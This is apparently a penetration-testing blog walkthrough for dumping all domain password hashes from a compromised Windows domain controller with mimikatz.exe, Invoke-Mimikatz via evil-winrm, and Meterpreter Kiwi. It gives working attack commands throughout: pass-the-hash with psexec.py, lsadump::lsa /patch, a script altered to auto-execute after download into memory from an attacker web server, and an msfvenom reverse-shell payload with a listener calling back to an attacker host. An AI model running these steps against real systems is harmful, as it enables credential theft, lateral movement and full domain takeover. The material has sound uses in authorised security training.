In this blog post we will be exploring how to dump all of the hashes in a domain using an LSA dump. To do this, we will be using three different versions of Mimikatz: mimikatz.exe, Invoke-Mimikatz.ps1, and Meterpreter Kiwi.
For some value add, we will also see how to use evil-winrm to load up and execute Invoke-Mimikatz.ps1 three different ways.
It is important to note that we are not dumping the LSA secrets in this post. Instead, we are using the lsadump::lsa /patch command in mimikatz, which uses LSA to connect to the SAM API and then “patches” the samsrv.dll running inside the lsass.exe process to dump all the hashes in the domain.
Understanding what LSA is and how it Handles Hashes
The Local Security Authority (LSA) Subsystem Service is a process in Microsoft Windows that verifies logon attempts, password changes, creates access tokens, and other important tasks relating to Windows authentication and authorization protocols.
When a user logs in to a local host, the LSA validates credentials against the local SAM file. However, in a Active Directory environment, the LSA validates domain user credentials against the entity that issued the account (domain controller). This means that LSA has the ability to retrieve any hash in the domain to compare it to the DC and ensure it is correct when a user authenticates.
In this example, we have fully compromised the domain controller Juggernaut-DC by obtaining the built-in domain Administrator accounts credentials.
Local LSA Dump – mimikatz.exe
Dumping all of the hashes in the domain with mimikatz.exe is fairly straight forward. Start by downloading a copy of mimikatz.exe onto your attacker machine so that it can be served up to the victim. Next, we need to download mimikatz.exe onto the DC that we have fully compromised.
You can learn multiple ways to transfer files to and from a Windows victim host by checking out my post here.
After downloading mimikatz onto the DC from a shell as the domain admin user, you may find that mimikatz.exe will not work. Even if you try to elevate your token within mimikatz.exe, it still doesn’t work.
If this is the case for you, just elevate to a SYSTEM shell on the DC and it should work. One way to accomplish this is by using psexec.py from the from the Impacket Suite of Tools. If you have the domain admin password it can be used like this:
Where 172.16.1.5 is the DC IP
If you do not have the domain admin’s cleartext password, you can also pass-the-hash with psexec.py to get a SYSTEM shell:
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5b38382017f8c0ac215895d5f9aacac4 firstname.lastname@example.org
If you landed on the DC as a domain admin using an impersonation token or some other attack that did not require knowledge of either the NTLM hash or plaintext password, then there are multiple other ways to upgrade from admin to SYSTEM.
Now that we have a SYSTEM shell, we can fire up mimikatz.exe again and then run the following commands to make it rain all the hashes in the domain:
privilege::debug lsadump::lsa /patch
- Privilege::debug is used to confirm that you have the proper privileges. We are looking for a Privilege ‘20’ OK, which is needed for dumping from memory.
- lsadump::lsa /patch is used to extract all of the hashes from the LSASS.exe running process.
Now that we have dumped the hashes on the DC, we can perform a pass-the-hash attack to pivot to different hosts in the domain. Alternatively, we could crack the hashes or use the krbtgt hash to forge a golden ticket.
Local LSA Dump – Invoke-Mimikatz.ps1
For this example we will be using evil-winrm to get a shell on the DC as the domain admin. This can be accomplished just the same with a regular PowerShell shell prompt for the first two examples; however, the third example does require evil-winrm.
Evil-winrm is: “The ultimate WinRM shell for hacking/pentesting”.
From a high-level, WinRM (Windows Remote Management) is a Windows-native built-in remote management protocol.
As an attacker, we just need to understand a few important points about WinRM:
- WinRM is used to execute commands remotely on systems in the network / domain.
- The default ports for WinRM are TCP 5985 and 5986.
- PowerShell Remoting uses WinRM to allow users to run PowerShell commands on remote computers.
- By default, PowerShell Remoting only allows connections from members of the Administrators group.
- Non-admin users need to be part of either the Remote Management Users group or WinRMRemoteWMIUsers_ group to use WinRM.
Log in to the domain controller as the DA using evil-winrm like so:
evil-winrm -u administrator -p 'P@ssw0rd' -i 172.16.1.5
Now we can use the upload feature that is built into evil-winrm to download Invoke-Mimikatz.ps1 onto the victim. By default this feature uploads files from the directory where the evil-winrm session was started from. However, you can also use the absolute path to the file on your attacker machine to upload the file onto the victim.
Now that we have established a foothold on the victim and have download the script to disk, we can load it into our current session using dot-sourcing. After doing that, we can use the menu command to confirm that the script has been loaded successfully.
After confirming that the script has been loaded into the current session, we can use the following command to dump all the hashes in the domain:
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "lsadump::lsa /patch" "exit"'
Alternatively, the Invoke-Mimikatz command above can be appended to the bottom of the script. Then, by using the IEX command, we can download the script directly into memory, which allows the command that we hardcoded at the bottom to auto-execute. For this, you will want to copy the Invoke-Mimikatz.ps1 script into your working directly so that you are not editing the original script.
Using the following echo command, we can append the command to the bottom of the script:
echo Invoke-Mimikatz -Command \''"privilege::debug" "token::elevate" "lsadump::lsa /patch" "exit"'\' >> Invoke-Mimikatz.ps1
Next, we need to serve up Invoke-Mimikatz.ps1 to our victim. Start an http server from the working directory where we copied Invoke-Mimikatz.ps1, like so:
python3 -m http.server 80
From the evil-winrm prompt, run the following command to download the script directly into memory and auto-execute the hardcoded command (replace IP with your attacker IP):
As a bonus, to showcase the power of evil-winrm we can use the -s switch to set the local path to the directory housing ps1 scripts on the attacker machine. With this switch we will be able to load ps1 scripts directly into evil-winrm without needing to download them onto the victim.
evil-winrm -u administrator -p 'P@ssw0rd' -i 172.16.1.5 -s '/opt/Windows/exploits/Powershell'
Now we can load any script into our session from our local path as if we were in that directory on the victim.
Local LSA Dump – Meterpreter Kiwi
At this point we have obtained a foothold on the victim DC as the domain admin. Now we have to craft a meterpreter payload on our attacker machine and serve it up to the victim.
Edit the LHOST to your attacker machines IP
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f exe -o meterpreter.exe
Fire up Metasploit from our attacker machine and get a multi-handler listener started like so:
msfconsole -q -x "use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_tcp;set LHOST 172.16.1.30;set LPORT 443;exploit;"
Download meterpreter.exe onto the victim and then execute it. This will provide a meterpreter shell.
The meterpreter shell has a built in extension of mimikatz called kiwi. We can use kiwi to dump all of the hashes on the DC the same as we did with mimikatz.
Using the load kiwi command, we will load kiwi into our meterpreter session and then we can see all of the options available for this module with the help command.
When you use the help command, info about the most recent module loaded into meterpreter will always be at the bottom.
The built-in functions are decent, but to get a full dump we want to use the kiwi_cmd command. This will allow us to craft our own custom command.
Now we will use the following command to dump the LSA and gather all the domain NTLM hashes:
kiwi_cmd "privilege::debug" "token::elevate" "lsadump::lsa /patch"